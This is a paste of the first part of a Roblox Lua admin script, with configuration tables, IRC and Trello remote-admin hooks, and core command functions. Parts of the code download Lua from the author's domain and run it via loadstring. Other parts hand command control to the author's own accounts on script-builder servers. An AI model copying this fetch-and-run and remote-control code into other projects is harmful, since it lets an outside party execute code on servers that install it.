· 6 years ago · Nov 02, 2019, 08:16 PM
1-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
2
3
4local Settings = {
5 Ranks = {
6 ["Owner"] = {};
7 ["Admin"] = {};
8 ["Member"] = {};
9 ["Crashed"] = {};
10 ["Muted"] = {};
11 };
12
13 Prefix = ";";
14 Bet = " ";
15 MinimumAge = 0;
16 ServerLocked = false;
17 ColorScheme = "White";
18 TransparencyScheme = 50;
19 Fun = true;
20 EnableAdminMenu = true;
21 EnableTaskBar = true;
22 FreeAdmin = false;
23 Font = "Arial";
24
25 DisableAbuse = false;
26 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
27 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
28
29 LinkedAccount = "";
30 DataKey = "";
31
32 ExecuteNotificationSound = 0; --177578949
33 EnableSounds = true;
34
35 VIPMemberID = 0;
36 VIPAdminID = 0;
37
38 GroupID = 0;
39 GroupBanRank = 0;
40 GroupMemberRank = 0;
41 GroupAdminRank = 0;
42 GroupOwnerRank = 0;
43 GroupRankBan = 0;
44 BannedGroupIDs = {};
45
46 IRCServer = "";
47 IRCChannel = "";
48 IRCCommandExecuters = {};
49
50 TrelloToken = ""
51}
52
53local Colors = {
54 ["WHITE"] = Color3.new(1,1,1);
55 ["BLACK"] = Color3.new(0,0,0);
56 ["GRAY"] = Color3.new(0.5,0.5,0.5);
57 ["RED"] = Color3.new(1,0,0);
58 ["GREEN"] = Color3.new(0,1,0);
59 ["BLUE"] = Color3.new(0,0,1);
60 ["YELLOW"] = Color3.new(1,1,0);
61 ["PINK"] = Color3.new(1,0,1);
62 ["MAGENTA"] = Color3.new(1,0,1);
63 ["CYAN"] = BrickColor.new("Cyan").Color;
64 ["TEAL"] = BrickColor.new("Teal").Color;
65 ["BROWN"] = Color3.new(0.55,0.25,0.075);
66 ["PURPLE"] = Color3.new(0.5,0,0.5);
67 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
68}
69
70local Server = {
71 Workspace = game:GetService("Workspace");
72 Players = game:GetService("Players");
73 Lighting = game:GetService("Lighting");
74 MPS = game:GetService("MarketplaceService");
75 TS = game:GetService("TeleportService");
76 HS = game:GetService("HttpService");
77 RS = game:GetService("RunService");
78 PS = game:GetService("PointsService");
79 TestS = game:GetService("TestService");
80 IS = game:GetService("InsertService");
81 Teams = game:GetService("Teams");
82 Data = game:GetService("DataStoreService");
83 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
84 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
85 Storage = game:GetService("ServerStorage");
86 RS = game:GetService("ReplicatedStorage");
87 AS = game:GetService("AssetService");
88}
89
90local Icons = {
91 ["Message"] = 7724351;
92 ["Error"] = 94011556;
93 ["Information"] = 144175130;
94 ["Check"] = 132769976;
95 ["Search"] = 61994930;
96 ["Time"] = 136391033;
97 ["Notice"] = 156507320;
98 ["Sound"] = 164682936;
99 ["Log"] = 70650545;
100 ["Question"] = 41363872;
101 ["Output"] = 11481605;
102 ["Admin"] = 302470270;
103 ["Lock"] = 11341626;
104 ["Settings"] = 131064748;
105 ["Map"] = 257119661;
106 ["Plugin"] = 257097414;
107}
108
109local IRC = {
110 Codes = {
111 ["001"] = "RPL_WELCOME",
112 ["002"] = "RPL_YOURHOST",
113 ["003"] = "RPL_CREATED",
114 ["004"] = "RPL_MYINFO",
115 ["005"] = "RPL_ISUPPORT",
116 ["250"] = "RPL_STATSCONN",
117 ["251"] = "RPL_LUSERCLIENT",
118 ["252"] = "RPL_LUSEROP",
119 ["254"] = "RPL_LUSERCHANNELS",
120 ["255"] = "RPL_LUSERME",
121 ["265"] = "RPL_LOCALUSERS",
122 ["266"] = "RPL_GLOBALUSERS",
123 ["352"] = "RPL_WHOREPLY",
124 ["371"] = "RPL_INFO",
125 ["372"] = "RPL_MOTD",
126 ["374"] = "RPL_ENDINFO",
127 ["375"] = "RPL_MOTDSTART",
128 ["376"] = "RPL_ENDOFMOTD",
129 ["422"] = "ERR_NOMOTD",
130 },
131 Ignore = {
132 ["004"] = true,
133 ["005"] = true,
134 };
135 Users = {};
136 Logs = {};
137 Chats = {};
138 Forms = {};
139 MessageAdded = Instance.new("BindableEvent");
140
141 Servers = {
142 ["esper.net"] = {
143 BaseUrl = "http://webchat.esper.net/";
144 DynamicUrl = "";
145 };
146 ["quakenet.org"] = {
147 BaseUrl = "http://webchat.quakenet.org/";
148 DynamicUrl = "dynamic/leibniz",
149 };
150 ["swiftirc.net"] = {
151 BaseUrl = "http://qwebirc.swiftirc.net/";
152 DynamicUrl = "",
153 };
154 };
155 NickName = "rbxMMLV3_"..math.random(1,100000);
156
157 SessionCounter = 0;
158 Connected = false;
159 Stop = false;
160 SessionID = "";
161}
162
163local RankHUD = {
164 ["Muted"] = 202180094;
165 ["Non-Admin"] = 202180121;
166 ["Member"] = 202180052;
167 ["Admin"] = 202180015;
168 ["Owner"] = 202179988;
169}
170
171local TextConverter = {
172 LetterSounds = {
173 ["a"] = {223757826, nil}; -- 203343899
174 ["b"] = {223533700, 0.2}; -- 203344029
175 ["c"] = {223533711, nil}; -- 203343994
176 ["d"] = {223757910, nil}; -- 203398237
177 ["e"] = {223758026, nil}; -- 203398295
178 ["f"] = {223777655, nil}; -- 203398347
179 ["g"] = {223777738, nil}; -- 203398372
180 ["h"] = {223777757, nil}; -- 203398397
181 ["i"] = {223777807, nil}; -- 203398422
182 ["j"] = {223782888, nil}; -- 203398450
183 ["k"] = {223533711, nil}; -- 203343994
184 ["l"] = {223782961, 0.4}; -- 203398541
185 ["m"] = {223782992, nil}; -- 203398578
186 ["n"] = {223783063, nil}; -- 203398599
187 ["o"] = {223783184, nil}; -- 203398611
188 ["p"] = {223783235, nil}; -- 203398727
189 ["q"] = {223783260, nil}; -- 203398755
190 ["r"] = {223783305, 0.2}; -- 203398792
191 ["s"] = {223783377, nil}; -- 203398806
192 ["t"] = {223783446, nil}; -- 203398850
193 ["u"] = {223783512, nil}; -- 203398872
194 ["v"] = {223783654, nil}; -- 203398965
195 ["w"] = {223783697, nil}; -- 203398984
196 ["x"] = {223783796, nil}; -- 203399008
197 ["y"] = {223783853, nil}; -- 203399043
198 ["z"] = {223783893, nil}; -- 203399096
199
200 ["ch"] = {223784367, 0.3}; -- 203592149
201 ["th"] = {223788235, 0.3}; -- 203399215
202 ["sh"] = {223784505, 0.2}; -- 203399566
203 ["wh"] = {223784555, 0.3}; -- 203622828
204 ["oo"] = {223784456, 0.3}; -- 203399743
205 ["ing"] = {223784393, 0.3}; -- 203402836
206 };
207
208 LongVowels = {
209 ["a"] = {223533687, nil}; -- 203343932
210 ["e"] = {223777620, nil}; -- 203398314
211 ["i"] = {223777855, nil}; -- 203398440
212 ["o"] = {223783212, nil}; -- 203398619
213 ["u"] = {223783572, nil}; -- 203398897
214 };
215
216 Pronounce = {
217 ["0"] = "zero";
218 ["1"] = "wun";
219 ["2"] = "too";
220 ["3"] = "three";
221 ["4"] = "four";
222 ["5"] = "five";
223 ["6"] = "six";
224 ["7"] = "seven";
225 ["8"] = "eyt";
226 ["9"] = "nine";
227 ["one"] = "wun";
228 ["two"] = "too";
229 ["eight"] = "eyt";
230 ["eigh"] = "ey";
231 ["gh"] = "h";
232 ["kn"] = "n";
233 ["come"] = "cu".."m";
234 ["bye"] = "bi";
235 ["#"] = "hashtag";
236 ["@"] = "at";
237 ["&"] = "and";
238 ["*"] = "astrict";
239 ["mn"] = "m";
240 ["kn"] = "n";
241 ["ies"] = "ees";
242 };
243
244 NonEnglishRules = {
245 ["to"] = "too";
246 ["you"] = "yoo";
247 ["we"] = "wee";
248 ["are"] = "erh";
249 ["your"] = "yoor";
250 ["you're"] = "yoor";
251 ["youre"] = "yoor";
252 ["pizza"] = "peetzoh";
253 ["ok"] = "okay";
254 ["have"] = "hav";
255 ["my"] = "mi";
256 ["me"] = "mee";
257 ["u"] = "yoo";
258 ["r"] = "erh";
259 ["move"] = "moov";
260 ["dove"] = "duv";
261 ["debris"] = "debree";
262 ["do"] = "doo";
263 }
264}
265
266local HTMLDecode = {
267 ["35"] = "#";
268 ["36"] = "$";
269 ["37"] = "%%";
270 ["38"] = "*";
271 ["39"] = "'";
272 ["58"] = ":";
273 ["59"] = ";";
274 ["60"] = "<";
275 ["62"] = ">";
276}
277
278
279local Assets = {
280 Packages = {
281 [27112438] = {27112025,27112039,27112052,27112056,27112068};
282 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
283 [77518833] = {77518564,77518616,77518654,77518696,77518737};
284 [32336368] = {32336059,32336117,32336182,32336243,32336306};
285 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
286 [54116460] = {54116290,54116338,54116373,54116394,54116432};
287 [39977366] = {39976703,39976829,39976927,39977192,39977295};
288 [32357766] = {32357663,32357631,32357619,32357584,32357558};
289 [27123973] = {27121265,27121306,27121353,27121393,27121432};
290 [55717536] = {55717271,55717330,55717388,55717434,55717491};
291 [28279963] = {28279160,28279217,28279859,28279894,28279938};
292 [27403592] = {27402580,27402546,27402641,27402714,27402742};
293 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
294 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
295 [48474394] = {48474356,48474294};
296 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
297 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
298 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
299 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
300 [33378577] = {33378366,33378438,33378484,33378522,33378540};
301 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
302 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
303 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
304 [41851073] = {41850825,41850868,41850915,41851009,41850959}
305 };
306 AssetTypes = {
307 [0] = "Product";
308 [1] = "Image";
309 [2] = "T-Shirt";
310 [3] = "Audio";
311 [4] = "Mesh";
312 [5] = "Lua";
313 [6] = "HTML";
314 [7] = "Text";
315 [8] = "Hat";
316 [9] = "Place";
317 [10] = "Model";
318 [11] = "Shirt";
319 [12] = "Pants";
320 [13] = "Decal";
321 [16] = "Avatar";
322 [17] = "Head";
323 [18] = "Face";
324 [19] = "Gear";
325 [21] = "Badge";
326 [22] = "Group Emblem";
327 [24] = "Animation";
328 [25] = "Arms";
329 [26] = "Legs";
330 [27] = "Torso";
331 [28] = "Right Arm";
332 [29] = "Left Arm";
333 [30] = "Left Leg";
334 [31] = "Right Leg";
335 [32] = "Package";
336 [33] = "YouTube Video";
337 [34] = "Game Pass";
338 [38] = "Plugin";
339 [39] = "SolidModel";
340 [40] = "MeshPart";
341 [41] = "Hair Accessory";
342 [42] = "Face Accessory";
343 [43] = "Neck Accessory";
344 [44] = "Shoulder Accessory";
345 [45] = "Front Accessory";
346 [46] = "Back Accessory";
347 };
348 AccessoryTypes = {
349 ["all"] = 19;
350 ["hats"] = 9;
351 ["hair"] = 20;
352 ["face"] = 21;
353 ["neck"] = 22;
354 ["shoulder"] = 23;
355 ["front"] = 24;
356 ["back"] = 25;
357 ["waist"] = 26;
358 };
359}
360
361local CharacterCache = {
362 {"MakerModelLua", 38837082};
363 {"LuaModelMaker", 20920633};
364 {"builderman", 156};
365 {"Shedletsky", 261};
366 {"Telamon", 13645};
367 {"ROBLOX", 1};
368}
369
370local FaceCovert = {
371 Left = "xpos";
372 Right = "xneg";
373 Front = "zpos";
374 Back = "zneg";
375 Top = "ypos";
376 Bottom = "yneg";
377}
378
379local Meshes = {
380 ["crown"] = {1, 1078075};
381 ["king"] = {1, 11419761};
382 ["teapot"] = {0.03, 1029523};
383 ["apple"] = {2.5, 16190555};
384 ["potato"] = {1, 25268275};
385 ["panda"] = {0.5, 20709221};
386 ["dominus"] = {0.5, 21057410};
387 ["fedora"] = {0.75, 13640868};
388 ["noob"] = {1, 20929341};
389 ["knife"] = {0.3, 121944778};
390 ["book"] = {0.3, 1136139};
391}
392
393local NotifySounds = {
394 ["Hover"] = 223134269;
395 ["Select"] = 292141227;
396}
397
398local Trello = {
399 TrelloInfoCard = "x1rUtwEj";
400 MainBoard = {};
401 RequiredLists = {};
402 RankChecklistCache = {};
403 ToggleChecklist = nil;
404 CommandID = nil;
405 LastCommandDT = 0;
406 AdminBoardID = "577ea1b21cb7975666524f26";
407 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
408 RemoteDataCard = "dLtMo1en"
409}
410
411local ScriptBuilders = {
412 [260897989] = "MML's";
413 [21053279] = "Anti's pub";
414 [21053219] = "Anti's pri";
415 [20279777] = "Void's 1";
416 [437965235] = "Void's 2";
417 [227015991] = "Vox's";
418 [210101277] = "Master's";
419 [531937877] = "Bleu pigs";
420 [519251450] = "Game's";
421}
422
423-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
424-- Why else would I NOT have put it in a module?!?!?
425
426local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
427
428local SoundList,GlobalSoundList = {},{}
429local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
430local TempChatLogs = {}
431local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
432local NoSpeak = false
433
434local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
435local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
436
437local ChatLogs,CommandLogs = {},{}
438local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
439local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
440local Dispose,Jails,PermCommandBars = {},{},{}
441local Waypoints = {["Center"] = Vector3.new(0,0,0)}
442local Objects = {}
443local Sound = nil
444local ModLighting = false
445local DataReady = true
446local RemoteAbuseGear = {}
447
448local GameOwner = "[ Client ]"
449local PlaceName = "Unknown"
450local PlaceInfo = {}
451local IsStudio = false
452local IsSB = false
453local Date = nil
454local Fonts = {}
455local PendingRequests = {}
456local F3X = script:FindFirstChild("F3X Tools")
457local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
458local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
459local KeyBinds = {}
460local Crowns = {}
461local LastKeys = {}
462local Cars = {}
463local StringReplacements = {}
464local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
465local NoBet = {"/", "-", "(", ")", ""}
466local ShouldFilter = true
467
468local CrownStorage = script:FindFirstChild("CrownStorage")
469if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
470
471-- import old settings just in case --
472local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
473if OldSettings then
474 OldSettings = require(OldSettings)
475
476 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
477 Settings[ValName] = OldSettings[ValName]
478 end
479 Settings.GroupBanRank = OldSettings.RankBan
480 Settings.Fun = OldSettings.FUN
481end
482
483if F3X then
484 F3X = F3X:Clone()
485 F3X.Handle.Anchored = false
486 script:FindFirstChild("F3X Tools"):Destroy()
487end
488
489wait(0.1)
490
491local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
492-- tries to defualt to server storage, just in case an exploiter makes their own settings.
493
494if SettingsValues then
495 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
496 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
497 for _,Value in pairs(SettingsValues:GetChildren()) do
498 if Settings[Value.Name] ~= nil then
499 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
500 for _,NewValue in pairs(Value:GetChildren()) do
501 if ypcall(function() return NewValue.Value end) then
502 if Settings[Value.Name][NewValue.Name] then
503 local Val = NewValue.Value
504 if type(Settings[Value.Name][NewValue.Name]) == "table" then
505 Val = {}
506 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
507 table.insert(Val, Word)
508 end
509 end
510 Settings[Value.Name][NewValue.Name] = Val
511 end
512 end
513 end
514 else
515 if Settings[Value.Name] ~= nil then
516 local Val = Value.Value
517 if type(Settings[Value.Name]) == "table" then
518 Val = {}
519 for Word in string.gmatch(Value.Value, "%w+") do
520 table.insert(Val, Word)
521 end
522 end
523 Settings[Value.Name] = Val
524 end
525 end
526 end
527 end
528 end
529end
530
531if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
532 Settings.LinkedAccount = ""
533elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
534 Settings.LinkedAccount = "Admin"
535end
536
537local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
538local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
539
540wait(1)
541
542local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
543
544if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
545
546if not IsStudio then
547 Server.NS = game:GetService("NetworkServer")
548 script.Name = "Maker".."Mo".."delLua's Admin"
549end
550
551if game.PlaceId > 0 then
552 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
553 PlaceName = PlaceInfo.Name
554end
555
556local function GetGameOwner()
557 if PlaceInfo.Creator.CreatorType == "Group" then
558 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
559 print("MML's Admin: Found group owner for game: "..GameOwner)
560 elseif PlaceInfo.Creator.CreatorType == "User" then
561 GameOwner = PlaceInfo.Creator.Name
562 print("MML's Admin: Found game owner: "..GameOwner)
563 else
564 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
565 end
566end
567
568if string.byte(string.sub(PlaceName,1,1)) == 226 then
569 PlaceName = string.sub(PlaceName,4,#PlaceName)
570end
571for i = 1,5 do
572 if GameOwner == "[ Client ]" then
573 print("MML's Admin: Attempting to establish owner's name #"..i)
574 GetGameOwner()
575 wait(1)
576 end
577end
578
579if ScriptBuilders[PlaceID] or NLS then
580 IsSB = true
581end
582
583if IsSB then
584 ShouldFilter = false
585 Settings.IRCServer = "swiftirc.net";
586 Settings.IRCChannel = "#PkamaraSB";
587 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
588 if Settings.TrelloToken == "" then
589 Settings.LinkedAccount = "ScriptBuilder"
590 end
591 if Settings.DataKey == "" then coroutine.wrap(function()
592 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
593 local Key = Server.Storage:FindFirstChild("MML DataKey")
594 print("Found key: "..Key.Value)
595 Settings.DataKey = Key.Value
596 Key:Destroy()
597 end)() end
598end
599local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
600table.insert(Settings.Ranks["Owner"], GameOwner)
601
602for _,Font in pairs(Enum.Font:GetEnumItems()) do
603 Fonts[Font.Name] = Font
604end
605
606local LogClient = script:FindFirstChild("AddClientInfo")
607if LogClient then LogClient:Destroy() end
608LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
609LogClient.OnServerInvoke = function(Player, Info)
610 if Info then
611 for Key,Data in pairs(Info) do
612 ClientInfo[Player.Name][Key] = Data
613 end
614 end
615end
616
617local function MakeFunction(Type, Name)
618 local Func = script:FindFirstChild(Name)
619 if Func then Func:Destroy() end
620 Func = Instance.new(Type, script) Func.Name = Name
621
622 getfenv()[Name] = Func
623 return Func
624end
625
626MakeFunction("BindableFunction", "ExecuteCommand")
627MakeFunction("RemoteFunction", "ExecuteCommandClient")
628MakeFunction("BindableFunction", "ExecuteCode")
629
630MakeFunction("RemoteFunction", "IsAdmin")
631MakeFunction("RemoteFunction", "AddExploit")
632MakeFunction("BindableFunction", "AddExploitServer")
633MakeFunction("RemoteFunction", "KickClient")
634MakeFunction("RemoteFunction", "ConvertTextToSound")
635
636MakeFunction("RemoteFunction", "KeyPressed")
637MakeFunction("RemoteFunction", "InputKey")
638
639MakeFunction("RemoteFunction", "RankPlayerLocal")
640MakeFunction("BindableFunction", "RankPlayerServer")
641
642--[[
643if NLS then
644 local Value = script:FindFirstChild("Override")
645 LogClient.Parent = game
646 if not Value then
647 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
648 local CloneScript = script:Clone()
649 CloneScript.Disabled = true
650 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
651 CloneScript.Disabled = false
652 CloneScript.Parent = nil
653
654 script:Destroy() script.Disabled = true
655 end
656end
657]]
658
659if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
660
661IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
662
663-- Core functions --
664
665function CORE:FixSettings()
666 for _,Bet in pairs(NoBet) do
667 if Settings.Bet == Bet then
668 Settings.Bet = " "
669 break
670 end
671 end
672 CORE:ChangeBet(Settings.Bet)
673
674 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
675 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
676
677 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
678 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
679 Settings.TransparencyScheme = Settings.TransparencyScheme/100
680
681 if not Fonts[Settings.Font] then
682 Settings.Font = "Arial"
683 end
684end
685
686function CORE:NilPlayer(Player)
687 if Player == nil or type(Player) == "table" then return true else return false end
688end
689
690function CORE:ExecuteResource(ResourceName, Parent, Data)
691 local ReturnScript = nil
692 local Executed = true
693 if script:FindFirstChild("Resources") then
694 local RawResource = script.Resources:FindFirstChild(ResourceName)
695 if RawResource then
696 local Resource = RawResource:Clone()
697 Resource.Disabled = true
698 Resource.Parent = Parent
699 if Data then
700 for Key,Value in pairs(Data) do
701 if Resource[Key] then
702 Resource[Key].Value = Value
703 end
704 end
705 end
706 wait()
707 Resource.Disabled = false
708 ReturnScript = Resource
709 else
710 Executed = false
711 end
712 else
713 Executed = false
714 end
715 if Executed == false then
716 if not Data then Data = {} end
717 local Source = ScriptCache[ResourceName]
718
719 if not Source then
720 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
721 if Source then
722 ScriptCache[ResourceName] = Source
723 end
724 end
725
726 if Data and Source then
727 for Key,Value in pairs(Data) do
728 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
729 end
730 end
731
732 if Source then
733 if NLS then
734 ReturnScript = NLS(Source, Parent)
735 elseif createLocalScriptWithSource then
736 ReturnScript = createLocalScriptWithSource(Source)
737 ReturnScript.Parent = Parent
738 end
739 end
740 end
741 return ReturnScript
742end
743
744function CORE:CreateRemotePropertyReader(Obj, Override)
745 if Server.Workspace.FilteringEnabled == true or Override then
746 local Reader = Instance.new("RemoteFunction", Obj)
747 Reader.Name = "RemotePropertyReader"
748 CORE:ExecuteResource("RemotePropertyReader", Reader)
749 return Reader
750 else
751 return Obj
752 end
753end
754
755function CORE:ReadProperty(Reader, Player, Property)
756 if Reader:IsA("RemoteFunction") then
757 return Reader:InvokeClient(Player, Property)
758 else
759 return Reader[Property]
760 end
761end
762
763function CORE:WriteProperty(Reader, Player, Property, Value)
764 if Reader:IsA("RemoteFunction") then
765 return Reader:InvokeClient(Player, Property, Value)
766 else
767 return Reader[Property]
768 end
769end
770
771
772function CORE:CreateRemoteEvent(Obj, EventName)
773 local Event = Instance.new("RemoteEvent", Obj)
774 Event.Name = "RemoteEvent_"..EventName
775 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
776 return Event
777end
778
779function CORE:HandleEvent(Obj, EventName, Func, NewThread)
780 local function Handle()
781 if Server.Workspace.FilteringEnabled == true then
782 local Event = CORE:CreateRemoteEvent(Obj, EventName)
783 return Event.OnServerEvent:connect(function(Player, ...)
784 Func(...)
785 end)
786 else
787 return Obj[EventName]:connect(Func)
788 end
789 end
790 if NewThread then
791 Spawn(Handle)
792 else
793 Handle()
794 end
795end
796
797function CORE:HandleError(Error, Speaker)
798 local Return = ""
799 if not Error or Error == "" then
800 Return = "Unknown Error"
801 else
802 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
803 end
804 if Speaker then
805 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
806 end
807 return Return
808end
809
810local function ExecuteSafe(Source, Speaker) -- no CORE
811 local Script, Error = loadstring(Source)
812 if Error then
813 return false, CORE:HandleError(Error, Speaker)
814 else
815 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
816 getfenv(Script).Server, getfenv(Script).script = Server,script
817 if Speaker then
818 getfenv(Script).print = function(...)
819 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
820 end
821 getfenv(Script).print_array = function(List)
822 if type(List) == "table" then
823 GUI:ListGui(Speaker, "Listed Table", List, "Output")
824 end
825 end
826 end
827
828 local Suc, Error = ypcall(coroutine.wrap(Script))
829
830 if not Suc then
831 Error = CORE:HandleError(Error, Speaker)
832 end
833
834 return Suc,Error
835 end
836end
837
838function CORE:GetTime(Regular, FullDate)
839 if Regular == nil then Regular = true end
840 local Meridiem = ""
841 if Regular == true then Meridiem = " AM" end
842 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
843 local Hour = math.floor(SecondsOfToday / (60*60))
844 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
845 local Second = math.floor(math.fmod(SecondsOfToday, 60))
846 if Hour > 12 and Regular == true then
847 Hour = Hour - 12
848 Meridiem = " PM"
849 end
850 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
851 if #Hour <= 1 then Hour = "0"..Hour end
852 if #Minute <= 1 then Minute = "0"..Minute end
853 if #Second <= 1 then Second = "0"..Second end
854 local Return = Hour..":"..Minute..":"..Second..Meridiem
855 if FullDate == true and Date then Return = Date.." "..Return end
856 return Return
857end
858
859function CORE:RemoveAdmin(Speaker)
860 local Answer = true -- false
861 if not CORE:NilPlayer(Speaker) then
862 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
863 end
864 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
865 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
866 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
867 for _,Item in pairs(Player:GetChildren()) do
868 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
869 Item:Destroy()
870 end
871 end
872 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
873 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
874 GUI:Destroy()
875 end
876 end
877 end end
878 for _,Car in pairs(Cars) do
879 Car:Destroy()
880 end
881 CORE:FixLighting()
882 while wait() do
883 if script:FindFirstChild("Override") then script.Override.Value = true end
884 Settings,CORE,IRC = nil,{},{}
885 if Sound then Sound:Stop() end
886 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
887 script:ClearAllChildren() script:Destroy() script.Disabled = true
888 end
889 end
890end
891
892function CORE:MakeBase()
893 for _,Get in pairs(Workspace:GetChildren()) do
894 if Get.Name == "Base" or Get.Name == "BasePlate" then
895 Get:Destroy()
896 end
897 end
898 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
899end
900
901function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
